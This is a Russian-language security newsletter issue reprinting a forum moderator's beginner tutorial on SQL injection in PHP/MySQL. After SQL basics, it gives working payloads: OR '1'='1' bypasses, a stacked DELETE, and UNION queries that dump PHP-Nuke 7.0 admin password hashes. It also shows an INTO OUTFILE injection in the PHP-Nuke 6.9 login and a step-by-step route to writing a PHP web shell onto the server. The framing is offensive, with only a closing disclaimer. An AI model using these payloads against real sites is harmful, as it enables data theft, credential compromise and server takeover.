Отправляет email-рассылки с помощью сервиса Sendsay
  Все выпуски  

Сетевая безопасность для начинающих Выпуск 1


Информационный Канал Subscribe.Ru

Добрый день! 

Это наш первый выпуск, поэтому не судите строго. Наш форум хоть и содержит различные
компьютерные тематики, но основой всё же является безопасность, поэтому и статьи
так же будут в основном посвящены именно сетевой безопасности. 
------------------------------------------------------------- 
Вы подписались на эту рассылку по разным причинам: желание обезопасить свой комп
(или даже несколько компов) в сети, повысить уровень знаний, например для приёма
на работу системным администратором, или просто хотите стать компьютерным богом
=) Наш форум создан специально для таких как вы, начинающих и в то же время,
заинтересованных в том, чтобы профессионально изучить аспекты передачи данных
и прочее. Присоединяйтесь к нам, будем постигать все основы вместе, делится опытом
и накапливать знания! 
http://www.musthave.ru 
------------------------------------------------------------- 
Теперь о главном =) 
В данном выпуске мы опубликуем статью, связанную с уязвимостями в SQL, написанную
одним из наших модераторов товарищем Simpson. Если вам что-либо непонятно, не
отчаивайтесь, все вопросы вы сможете задать на нашем форуме в теме, где расположена
эта статья (http://musthave.ru/viewtopic.php?t=76). Мы с радостью на них ответим.


written by simpson 

Привет посетителям форума www.musthave.ru! 
Эту статью я посвящу уязвимостям в SQL. Данная проблема становится все более

и более актуальна, так как авторы скриптов не пишут их с дырявыми инклудами,

админы сайтов вовремя обновляют своё ПО, а когда встречается скрипт,работающий

с базой данных, то ошибки программирования, точнее ошибки при запросах к базе,

так и лезут в глаза. 
Понеслась... 
Примеры я буду приводить на php (удобный язык для работы с базами данных), в

качестве БД буду использовать MySQL 4.0.12, ну и немного коснусь MSSQL. Для 
начала нам надо понять структуру языка SQL... 

Для работы с базами данных используется язык SQL (Структурированный Язык Запросов)

Это язык, который дает возможность создавать реляционные базы данных (и работать
с 
ними), которые представляют собой наборы связанной информации, сохраняемой в

таблицах. Реляционная база данных - это тело связанной информации, сохраняемой
в 
двухмерных таблицах. Это напоминает адресную или телефонную книгу. 

+-------------------+----------------------+ 
| name | password | email | <-- названия столбцев 
+-------------------+----------------------+ 
| admin | password |admin@localhost.com | <-----------| 
+------------------+-----------------------+ <--| 
| vasia | 555 | vasia@localhost.com | <----------------| это всё - данные 
+------------------+-----------------------+ <--| таблицы 
| petia | 123 | petia@localhost.com | <----------------| 
+------------------+-----------------------+ <--| 

Есть несколько основных команд SQL, которые необходимо знать для работы с БД.

Вот они: 

Создание таблицы: 
CREATE TABLE имя таблицы (имя поля тип, имя поля тип, ...) 
Этой командой в базе данных создается новая таблица с указанным именем и полями

(колонками) указанного типа. Эта команда вряд ли пригодится нам, так что особо

останавливаться на ней не буду. 

Удаление таблицы: 
DROP TABLE имя таблицы 
Удаляет указанную таблицу, вне зависимости от того, пустая она или содержит данные.


Вставка записи: 
INSERT INTO имя таблицы (имя поля1, имя поля2, ...) VALUES ('значение1', 
'значение2',...) 
Добавляет в указаную таблицу поля и соответствующие им значения. Поля, которые

существуют в таблице, но не указаны в данной команде получают 'неопределенное

значение'. 'Неопределенное значение' - это, своего рода, внутренний флаг, который

указывает MySQL, что поле не имеет значения. 

Вот пример: 
INSERT INTO users (name, password, email) VALUES ('root', 'pass', 'admin@localhost.com');

// Вставляет в таблицу "users" запись: root в поле name, pass в поле password


INSERT INTO admins (name, posts) VALUES ('admin', 2); 
// Вставляет в таблицу “admins” запись: admin в поле name и 2 в поле posts 
// Тут следует заметить что поле admin имеет текстовый формат, тогда как поле

// post имеет формат INT (числовой) 
// Если бы оба поля были текстовыми то двойку также пришлось бы заключать в 
// кавычки 

Удаление записи: 
DELETE FROM имя таблицы WHERE выражение 
Удаляет из указанной таблицы все записи, которые удовлетворяют условию в 
выражении после WHERE. 

Пример: 
DELETE FROM users WHERE name='root'; 

DELETE FROM admins WHERE post=2; 

Поиск записи: 
SELECT * FROM имя таблицы WHERE выражение 
Ищет в указанной таблице все записи, которые удовлетворяют условиям выражения.

Знак * означает выбор всех полей записи, если нужно выбрать всего-лишь 
несколько полей, они перечисляются явным образом через запятую. 

Пример: 
SELECT * FROM users; 
// Выведет все записи из таблицы users 

SELECT name, email FROM users; 
// Выведет записи колонок name и email 

SELECT name FROM admins WHERE post>2; 
// Выведет записи колонки name из таблицы admins для которых соответствующее

значение post>2 

SELECT * FROM admins WHERE name='root'; 

Обновление записи: 
UPDATE имя таблицы SET имя поля1='значение1', имя поля2='значение2',... 
WHERE выражение 
В указанной таблице все записи которые удовлетворяют выражению, получают в 
перечисленных полях соответствующие перечисленные значения. 

Пример: 
UPDATE users SET name='bad-admin' WHERE password='qwerty'; 
// В таблице users у всех записей у которых стоит “qwerty” в колонке password,

значение в колонке 
// name сменится на “bad-admin” 


MySQL & PHP 

Теперь посмотрим, как работа с БД реализуется в php. 
Для начала работы с базой нам необходимо установить с ней соединение: 

mysql_connect($hostname,$username,$password) 

И выбрать базу с которой будем работать: 

mysql_select_db($dbname) 

$hostname – сервер БД 
$username – логин к базе 
$password – пароль к базе 
$dbname – название базы 

После этого мы можем отдавать SQL запросы с помощью mysql_query($query), 
где $query – наш запрос. 

Например: 
 

Вот в принципе основы, которые нужно знать для работы с БД. Теперь переходим

к более интересному, а именно к способам внедрения своего кода. 

SQL-injection 

Тестовые данные передаются в sql-запросах заключенными в кавычки ‘data', 
отсюда можно сделать интересное замечание, что если в скрипте данные для 
sql-запроса берутся из полученных от пользователя переменных и не фильтруются…

Тогда мы можем попробовать вставить в запрос эту самую кавычку "'" 

Допустим есть скрипт выбирающий мыло пользователя из таблицы в соответствии 
с его логином: 
 

Если мы передаем в переменной $login нормальный текст например "young-hack",

то в SQL будет выполнен запрос: 

SELECT mail FROM users WHERE login='young-hack' 

И все сработает как надо… 
А теперь попробуем вставить кавычку: $login=hacker' 
И запрос будет такой: 

SELECT mail FROM users WHERE login='hacker'' 

И как мы сможем увидеть данный запрос выдаст нам ошибку. Отлично! то, что 
нам надо. Лишняя кавычка сделала свое дело, и мы смогли видоизменить 
запрос к базе данных. Наипростейший пример. Допустим приведенный выше 
скрипт позволяет смотреть пользователю его регистрационные данные. Теперь, 
используя кавычку, мы сможем посмотреть инфу всех пользователей, вот 
примерно так: 

$login=blabla' OR login='admin 

И sql-запрос изменится на такой: 

SELECT mail FROM users WHERE login='blabla' OR login='admin' 

Т.е. вместо вывода мыла юзера, скрипт выдаст нам мыло админа данного скрипта.

Далее мы можем получить мыла всех пользователей: 

$login=no_user' OR '1'='1 

SQL запрос такой станет: 

SELECT mail FROM users WHERE login='no_user' OR ‘1'='1' 

Т.к. '1'='1' всегда, то запрос вернет все записи из таблицы. 

Использование кавычки применимо в случае передачи в запрос текстовых данных,

с числовыми данными все еще проще. Допустим скрипт выводит пароль пользователя

в соответствии с его порядковым номером: 

 

При передаче нормального номера скрипт отдает запрос к БД и запрос возвращает

необходимые данные: 

SELECT password FROM users WHERE num=7; 

Тут мы можем изменить запрос даже не прибегая в кавычкам: 

$num=1 OR 2 

и запрос станет: 

SELECT password FROM users WHERE num=1 OR 2; 

Также, кроме кавычки, есть еще символы, которые смогут нам пригодится. 

Точка с запятой ";" служит для разделения sql-запросов к базе данных. К сожалению,

не поддерживается в MySQL ,так что далее в статье рассматриваться не будет. 
В случае если мы имеем дело с MSSQL, в которой данная возможность 
поддерживается, то с её помощью мы получаем возможность отдавать несколько 
запросов в одной строке, например: 

Рассмотренный выше скрипт: 

 

Если работает с MSSQL, то изменяем переменную вот таким образом: 

$login=no_user'; delete FROM users WHERE login='admin 

Запрос: 

SELECT mail FROM users WHERE login='no_user'; delete FROM users WHERE login='admin';


Соответственно мы удалим запись, у которой в поле login стоит значение "admin"


Также нам пригодятся "-" и "/*" это символы обозначающие в sql начало комментария.

Пригодится, чтоб отсекать лишние данные в запросах. 
Например: 

$result = mysql_query(\"SELECT mail FROM users WHERE login='$login' AND post='123'\");


Если мы передадим переменную $login=no_user' OR '1'='1 то запрос станет: 

SELECT mail FROM users WHERE login='no_user' OR '1'='1' AND post='123'; 

Не совсем то что нам надо... 
В этом случае нам и пригодится комментирование… 

$login=no_user' OR '1'='1';-- 
или 
$login=no_user' OR '1'='1'/* 

Заметим, что в данном случае мы сами закрываем кавычку в конце запроса,так как

кавычка из запроса, которая ранее закрывала переменную теперь будет закоментирована.

Ну что ж, мы теперь умеем выводить информацию из таблицы. Но вы заметили, 
что мы ограничены этой таблицей? Т.е. Мы не можем вывести данные из другой 
таблицы. Для получения данных из других таблиц нам потребуется более детальное

изучение структуры запросов и еще одна команда UNION. 

Использование команды UNION 

Итак, команда UNION используется для обьединения вывода двух или более запросов

SELECT. Особенности команды, которые придется учитывать: когда два (или более)

запроса подвергаются объединению, их столбцы вывода должны быть совместимы 
для объединения. Это означает, что каждый запрос должен указывать одинаковое

количество столбцов и в том же порядке и каждый должен иметь тип, совместимый

с каждым. Также данная возможность появилась только в MySQL версии 4.0, т.е.

на более ранних версиях БД работать не будет. 

Вид команды такоq: 

SELECT a1, a2, a3 FROM table1 UNION SELECT b1, b2, b3 FROM table2; 

Где a1 и b1, a2 и b2, a3 и b3 должны быть одинакового типа. 

Например: 

SELECT text11, text12, int11 FROM t1 UNION SELECT text21, text22, int22 FROM
t2; 

Думаю, наиболее удобно будет рассмотреть работу с данной командой на конкретном

примере. Помучить предлагаю PHP-Nuke версии 7.0 FINAL. Советую скачать и 
поставить данный движек. Итак устанавливаем и настраиваем нюку. Запускаем MySQL

с ведением логов и приступаем. 

SQL-injection на примере PHP-Nuke 

Разбираться будем с модулем News: 

http://127.0.0.1/nuke7/modules.php?...ews&new_topic=1 

Вот такой запрос выводит первый топик на движке. Попробуем поставить кавычку

к значению new_topic, соответственно теперь запрос становится таким: 

http://127.0.0.1/nuke7/modules.php?name=News&new_topic=1' 

Отдаем в браузере запрос и смотрим логи MySQL: 

10 Query SELECT topictext FROM nuke_topics WHERE topicid='1'' 
10 Query SELECT sid, catid, aid, title, time, hometext, bodytext, comments, counter,

topic, informant, notes, acomm, score, ratings FROM nuke_stories WHERE topic='1''

ORDER BY sid DESC limit 10 

Вот тут наша ковычка себя и проявила 
Видите: WHERE topicid='1'' 

Рассмотрим первый запрос: 

SELECT topictext FROM nuke_topics WHERE topicid='1'' 
Выборка topictext из таблицы nuke_topics где topicid=1' 
Теперь посмотрим тип topictext: 

+-------------------------+ 
| topictext | varchar(40) | 
+-------------------------+ 

Отлично, теперь попробуем использовать команду UNION: 
Отдаем в браузере запрос: 

modules.php?name=News&new_topic=999' UNION SELECT pwd from nuke_authors/* 

Клева Вместо названия раздела мы видим хеш пароля админа. Что же произошло. 
Опять смотрим логи MySQL: 

14 Query SELECT topictext FROM nuke_topics WHERE topicid='999' UNION SELECT 
pwd from nuke_authors/*' 

Вот оно. Мы делаем выборку из nuke_topics где topicid='999', и данный запрос

естественно ничего не возвращает, так как такого топика у нас нет. Делаем выборку

pwd из таблицы nuke_authors, и данный запрос возвращает хеш пароля первого 
пользователя, который и подставляется в название раздела. Заметьте, что если

мы укажем существующий номер топика, то результата мы не получим, так как 
будет подставлено название этого топика, а не хеш. Поэтому мы и используем 
номер 999. Вот первая уязвимость 

Давайте рассмотрим второй запрос (запрос разбит на несколько строк для удобства):


SELECT sid, catid, aid, title, time, hometext, bodytext, comments, counter, topic,

informant, notes, acomm, score, ratings 
FROM nuke_stories 
WHERE topic='1'' <-- Вот тут мы можем вставить свой sql-код 
ORDER BY sid DESC limit 10 

Посмотрим какие типы данных у нас в таблице nuke_stories: 

+-----------+--------------+ 
| sid | int(11) | 
+-----------+--------------+ 
| catid | int(11) | 
+-----------+--------------+ 
| aid | varchar(30) | 
+-----------+--------------+ 
| title | varchar(80) | 
+-----------+--------------+ 
| time | datetime | 
+-----------+--------------+ 
| hometext | text | 
+-----------+--------------+ 
| bodytext | text | 
+-----------+--------------+ 
| comments | int(11) | 
+-----------+--------------+ 
| counter | mediumint( | 
+-----------+--------------+ 
| topic | int(3) | 
+-----------+--------------+ 
| informant | varchar(20) | 
+-----------+--------------+ 
| notes | text | 
+-----------+--------------+ 
| acomm | int(1) | 
+-----------+--------------+ 
| score | int(10) | 
+-----------+--------------+ 
| ratings | int(10) | 
+-----------+--------------+ 

Теперь также просмотрим таблицу nuke_authors на типы записей и составим запрос

с UNION таким образом, чтобы типы из таблицы nuke_stories совпадали с типами

из nuke_authors и запрос примет вид: 

modules.php?name=News&new_topic=999' UNION SELECT counter, counter, pwd, pwd,

counter, pwd, pwd, counter, counter, counter, pwd, pwd, counter, counter, counter

FROM nuke_authors /* 

Отдаем запрос в браузере и видим топик с содержанием хеша пароля. Тут уже 
не обязательно указывать несуществующий топик, так как все работает и с топиком

существующим в базе. 
Если посмотреть логи БД, то можно увидеть, что был отдан вот такой запрос к 
базе данных (запрос разбит на 4 блока для большего удобства): 

SELECT sid, catid, aid, title, time, hometext, bodytext, comments, counter, topic,

informant, notes, acomm, score, ratings 
FROM nuke_stories 
WHERE topic='1' 

UNION 

SELECT counter, counter, pwd, pwd, counter, pwd, pwd, counter, counter, counter,

pwd, pwd, counter, counter, counter 
FROM nuke_authors 

/* 
' ORDER BY sid DESC limit 10 

Как вы можете видеть, в обоих запросах количество и типы столбцев совпадают.

Запрос специально разбит на 4 блока: 1 блок - это первый запрос select, 
выбирающий из таблицы nuke_stories, 2 блок - команда обьединения запросов union,

3 блок - второй запрос select который выбирает хеш пароля и счетчик из таблицы

nuke_authors, 4 блок - все что идет после "/*" будет рассматриваться как комментарий.


Вывод данных в файл 

В инете полно практически одинаковых статей про sql-injection, и все они 
рассказывают про атаки данного типа при использовании MSSQL в качестве сервера

базы данных. Конечно, сервак от мелкомягких дает поистине потрясающие возможности

для взлома всего сервера за счет возможностей разделения запросов в строке и

прочих фишек, но это тема другой статьи,а у нас на повестке MySQL, в котором

все не так просто, но это совсем не плохо, это хорошо, так как с MySQL возится

сложнее, а значит интереснее А к чему я это сказал? Да просто в тех статьях 
описывается взлом при авторизации и авторизация там происходит примерно 
таким запросом: 

SELECT * FROM users WHERE login='blabla' AND password='blabla'; 

Извращение! Правда? Абсолютно убогий способ работы с базой данных. Зачем 
спрашивается выбирать все данные из таблицы? Бррр что-то меня вообще не туда

унесло Мы лучше рассмотрим авторизацию в PHP-Nuke 6.9., в котором процесс 
авторизации сделан более грамотно и красиво. Обратите внимание на версию нюки!

Дело в том что в версии 7.0 не удастся через форму внедрить код с помощью 
кавычки, так как там эта бага прикрыта. В версии 7.0 есть возможность внедрения

кода в этом модуле посредством cookie, но мы пока что не будем трогать cookie,

а рассмотрим внедрение кода просто через форму авторизации. Для этого и пришлось

использовать более раннюю версию. Пример: 

Запускаем http://127.0.0.1/phpnuke69/admin.php и видим окошко для ввода логина

и пароля. Ну вы наверно уже догадались что мы будем делать? Конечно, вписываем

в качестве логина admin' (не забудьте про кавычку) и 123 в качестве пароля. Не

пускает Ну чтож всякое бывает Наверно, потому что логин и пароль в базе 
другие совсем. 
Что ж опять лезем смотреть логи mysql: 

1 Query SELECT pwd, admlanguage FROM nuke_authors WHERE aid='admin'' 

Стоп! Вы уже побежали вставлять UNION и SELECT? Рано. Дело в том, что в 
данном модуле не происходит никакого вывода полученных данных из БД. 
Естественно раз нет вывода, то и вывести полученный хеш нам некуда. Что же 
делать. К счастью в MySQL есть замечательная опция сохранения выбранных 
из таблицы данных в файл. Производится данный финт ушами следующим образом: 

SELECT * FROM table INTO OUTFILE 'путькфайлу/файл'; 

Попробуем сохранить хеш пароля админа в файле. Форма ввода не позволяет 
ввести длинный логин поэтому придется передавать данные через строку браузера:


http://127.0.0.1/phpnuke69/admin.php?op=login&pwd=123&aid=admin' 
INTO OUTFILE 'pwd.txt 

После запроса данной строки в БД исполняется: 

9 Query SELECT pwd, admlanguage FROM nuke_authors WHERE aid='admin' 
INTO OUTFILE 'pwd.txt' 

И хеш пароля пользователя "admin" оказывается записан в файл pwd.txt. Но вся

проблемма в том, что файл создается не в корне www-сервера а в каталоге базы

данных. Для создания файла в каталоге доступном через web необходимо указывать

полный путь: 

/phpnuke/admin.php?op=login&pwd=123&aid=admin' INTO OUTFILE '././././WWW/ 
www1/phpnuke69/pwd.txt 

И теперь уже: 

http://127.0.0.1/phpnuke69/pwd.txt 

Выдаст нам хеш админа. 
Конечно, необходимо учитывать права доступа и не факт, что вы сможете записать

файл в нужное место, но это сейчас не важно. Главное, что мы смогли сформировать

нужный запрос и создать файл. 

Получение http-шелла 

Конечно, базы данных - это хорошо, это интересно и познавательно, но хочется

чего-то большего Как мы уже разобрались файлы мы создавать можем. А ведь 
в файл можно записать любую инфу из базы данных, почему бы не воспользоваться

этим и не создать себе маленький такой http-шелл посредством создания php 
файла с незатейливым и наверно всем знакомым содержанием: 


Итак, воспользовавшись одним из описанных выше методов, вам удалось все-таки

получить хеш пароля админа и вы благополучно залогинились как админ движка, 
расшифровав пароль, либо вставив его в кукис. Теперь вам необходимо каким-либо

образом вставить php-код в одно из значений в базе данных, а потом вывести его

в файл. Вот способ, которым воспользовался бы я: 

Логинимся под админом. В меню администрирования входим в раздел Topics. 
Создаем новый топик. 
В поле Topic Name пишем passthru 
в поле Topic Text пишем:  

Теперь вспомним уязвимость описанную выше в этой статье, а именно: 

modules.php?name=News&new_topic=999' UNION SELECT pwd from nuke_authors/* 
SELECT topictext FROM nuke_topics WHERE topicid='999' UNION SELECT pwd from 
nuke_authors/*' 

Теперь нам не надо получать хеш пароля, а надо сохранить запись из столбца 
"topictext" 

http://127.0.0.1/phpnuke/modules.php?name=News&new_topic=2' INTO OUTFILE 
'shell.php' /* 

где 2 - номер нового топика , shell.php - файл который будет создан. 

Не забудьте прописать путь к файлу. 
После выполнения данного запроса будет создан файл shell.php, содержащий 
нужный нам пхп-код. 

Вот в принципе и все, что я хотел рассказать в этой статье. 
Удачи вам. 

------------------------------------------------------------- 
Статья дана только для ознакомления. За ее осмысление и использование в других

целях редактор и администрация форума ответственности не несут!

http://subscribe.ru/
http://subscribe.ru/feedback/
Подписан адрес:
Код этой рассылки: comp.soft.others.security
Отписаться

В избранное